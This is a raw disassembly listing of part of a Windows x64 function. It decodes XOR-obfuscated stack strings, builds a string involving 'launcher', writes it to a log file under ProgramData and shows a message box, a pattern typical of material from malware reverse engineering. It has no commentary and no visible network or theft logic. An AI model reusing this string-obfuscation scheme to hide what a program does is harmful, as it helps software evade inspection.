mov qword [rbp + 0x9a8], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x9b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x9b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x9a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x9a0], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x49a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x49a8], rax
vmovdqa xmm0, xmmword [rbp + 0x780]
vxorps xmm0, xmm0, xmmword [rbp + 0x49a0]
vmovdqa xmmword [rbp + 0x780], xmm0
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x1a28]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341be
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x70], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x78], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x4990], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4998], rax
movdqa xmm0, xmmword [rbp + 0x70]
xorps xmm0, xmmword [rbp + 0x4990]
movdqa xmmword [rbp + 0x70], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4980], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4988], rax
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp + 0x4980]
movdqa xmmword [rbp + 0x40], xmm0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1a08]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x18], 0
mov edx, 0xb8
lea rcx, [rbp + 0x18a8]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x19e8]
lea rcx, [rbp + 0x18]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x60], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x68], rcx
movabs r15, 0xf245f579a3d34195
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4970], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4978], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x4970]
movdqa xmmword [rbp + 0x60], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x19c8]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x50], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x58], rcx
mov qword [rbp], r15
mov rcx, qword [rbp]
mov qword [rbp + 0x4960], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4968], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x4960]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x19a8]
call fcn.140018f00
nop
lea r8, [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x1988]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1968]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1948]
call fcn.140019110
nop
lea r8, [rbp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x1928]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1908]
call fcn.140019110
nop
lea r8, [rbp + 0x9a0]
mov rdx, rax
lea rcx, [rbp + 0x18e8]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x18c8]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3d70]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3d70]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x18c8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x18e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1908]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1928]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1948]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1968]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1988]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x19a8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x19c8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x19e8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1a08]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1a28]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1a48]
call fcn.140017eb0
nop dword [rax]
mov dword [rbp + 0x1c], 0x64
lea rdx, [rbp + 0x1c]
lea rcx, [rbp + 0xc98]
call fcn.14002bfa0
mov rcx, rax
call fcn.14002bfb0
jmp 0x140028bf0
mov rdx, r12
mov rcx, qword [rbp + 0x3f88]
call fcn.140021680
mov rcx, r15
call fcn.1400217d0
movabs rax, 0xf245f579a3d3419f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4950], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4958], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0x4950]
movdqa xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1c08]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x9c229a1ac6a12fc0
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x9c0], rcx
movabs r13, 0xe1d9cdd8380218f7
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x9c8], rcx
movabs r12, 0x99443c9c3921bb6f
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x9d0], rax
movabs r15, 0x549e550e7b223a95
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x9d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
movabs rbx, 0x82abacf85c67629e
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x9c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x9c0], ymm1
movabs rax, 0xf245f579a3d361c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4940], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4948], rax
vmovdqa xmm0, xmmword [rbp + 0xa0]
vxorps xmm0, xmm0, xmmword [rbp + 0x4940]
vmovdqa xmmword [rbp + 0xa0], xmm0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1be8]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0xf245f579a3d341b4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x230], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x238], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x4930], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4938], rax
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x4930]
movdqa xmmword [rbp + 0x230], xmm0
movabs rax, 0xf245f579a3d31ab5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4920], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4928], rax
movdqa xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rbp + 0x4920]
movdqa xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x1bc8]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 8], 0
mov edx, 0xbd
lea rcx, [rbp + 0x1a68]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x1ba8]
lea rcx, [rbp + 8]
call fcn.140029340
mov rbx, rax
movabs rax, 0xf245f579a39f61c8
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xd0], rcx
movabs rax, 0x82abacf85c67629e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xd8], rcx
movabs rcx, 0xf245f579a3d34195
mov qword [rbp], rcx
mov rcx, qword [rbp]
mov qword [rbp + 0x4910], rcx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4918], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x4910]
movdqa xmmword [rbp + 0xd0], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x1b88]
call fcn.140017fd0
mov r8, rax
movabs rax, 0xf245f579a3d341ce
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc0], rcx
movabs rax, 0x82abacf85c67629e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xc8], rcx
movabs rcx, 0xf245f579a3d34195
mov qword [rbp], rcx
mov rcx, qword [rbp]
mov qword [rbp + 0x4900], rcx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4908], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x4900]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x1b68]
call fcn.140018f00
nop
lea r8, [rbp + 0xd0]
mov rdx, rax
lea rcx, [rbp + 0x1b48]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1b28]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1b08]
call fcn.140019110
nop
lea r8, [rbp + 0x230]
mov rdx, rax
lea rcx, [rbp + 0x1ae8]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1ac8]
call fcn.140019110
nop
lea r8, [rbp + 0x9c0]
mov rdx, rax
lea rcx, [rbp + 0x1aa8]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1a88]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x3e78]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x3e78]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1a88]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1aa8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ac8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ae8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b08]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b28]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b48]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b68]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1b88]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1ba8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1bc8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1be8]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1c08]
call fcn.140017eb0
movabs rdx, 0xf245f579a3d34195
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rcx, 0x82abacf85c67629e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x48f0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x48f8], rax
movdqa xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x48f0]
movdqa xmmword [rbp + 0x390], xmm0
movabs rax, 0x9c229a1ac6a12fc0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x9e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x9e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x9f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x9f8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4540], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4548], rax
movabs rax, 0xeb3148ff5c55d207
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4550], rax
movabs rax, 0x549e550e7b221bf0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4558], rax
vmovdqu ymm0, ymmword [rbp + 0x9e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4540]
vmovdqa ymmword [rbp + 0x9e0], ymm1
vzeroupper
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor r9d, r9d
lea r8, [rbp + 0x390]
lea rdx, [rbp + 0x9e0]
mov rcx, rax
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x4010]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x42a0]
call fcn.14001b340
nop
lea rcx, [rbp + 0x3fe0]
call fcn.140020890
nop
lea rcx, [rbp + 0x3fc8]
call fcn.140016aa0
nop
lea rcx, [rbp + 0x40a0]
call fcn.14001b340
nop
lea rcx, [rbp + 0x3ff0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x41a0]
call fcn.14001b340
nop
lea rcx, [rbp + 0x3fa8]
call fcn.140017eb0
mov eax, 1
mov rcx, qword [rbp + 0x4ec0]
xor rcx, rsp
call fcn.140052020
lea r11, [rsp + 0x4f40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret